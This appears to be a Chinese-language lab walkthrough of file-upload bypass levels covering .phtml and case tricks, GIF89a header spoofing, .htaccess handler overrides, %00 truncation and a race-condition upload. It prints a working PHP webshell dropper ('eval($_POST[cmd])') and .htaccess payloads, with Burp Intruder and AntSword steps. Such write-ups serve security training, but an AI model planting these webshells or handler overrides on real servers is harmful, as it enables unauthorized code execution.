默认是有一个phtml解析的,它的意思是说,如果你的文件是以phtml结尾的,它会把它当作php代码来执行
.php默认等于.phtml
也可以修改后缀php为phP进行尝试
第四关:文件头过滤绕过
GIF89a图片头文件欺骗,是一种攻击
同时若是题目过滤php代码中特有的<?php
和结尾的?>
可以将开头的<?php
修改为<script language=“”php”>
讲?>
修改为</script>
第五关:.htaccess文件上传
.htaccess原理
.htaccess文件是Apache服务器下的一个配置文件。其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。
不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
<ifModule mime_module>
AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->
AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->
Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->
</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->
Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->
</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
使用时注意.htaccess文件只能命名为.htaccess,并在精确匹配时修改为想要匹配的.jpg文件
第六关:文件截断上传
概述:在ASCII码中,00代表的是空字符,在URL中表现为%00。在文件截断攻击中,就是采用空字符来误导服务器截断字符串,以达到绕过攻击的目的。
原理:服务器后台采用的是move_uploaded_file()函数将上传的文件移动到新位置,该函数属于文件系统函数,底层是采用C语言实现的,在C语言中,判断字符串是否结束是以空字符为标志的。因此,当上传的文件名中含有%00符号时,服务器会认为字符串到此结束,从而达到绕过的目的。
截断条件: PHP版本小于5.3.4, PHP的magic_quotes _gpc为OFF(关)状态。
由于C语言会将空字符认为是字符串终止符号,函数move_uploaded_file()在保存文件时会将%00后面的字符“截断”,导致服务器将文件以攻击者想要的后缀名存储在攻击者想要的位置。
wp
第七关(条件竞争)
在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在
文件上传所用的一句话木马如下:
<?
php $f=fopen("1.php","w");
fputs($f,'<?php @eval($_POST[cmd]);?>');
echo phpinfo();
?>
若成功执行该木马,则生成1.php文件,里面的内容是经典的一句话密码<?php @eval($_POST[cmd]);?>
。
解题过程:直接上传要注入的木马
在burp抓包后发送给intruder,清除所有类似这个$符的标记
清除所有标记,并在payload做如下设置后攻击
攻击目的是一直上传该php文件,你一直删,总能被我逮住时机成功执行一次文件内容
结果如下:
然后再直接抓包如果上传成功后文件的路径网址(前期收集信息工作)
和上面一样发送到intruder并且一样操作爆破
发现了状态不是404且长度不同的行数,说明执行木马成功,uploads目录中成功生成了包含一句话木马内容的1.php木马文件
用蚁剑链接成功
也可以如下操作观察木马是否运行成功:
右击成功执行的木马请求,点击在浏览器中显示响应
复制完之后在使用burp的浏览器打开
相应的浏览器显示出了木马文件里的输出php版本信息,则该木马成功执行。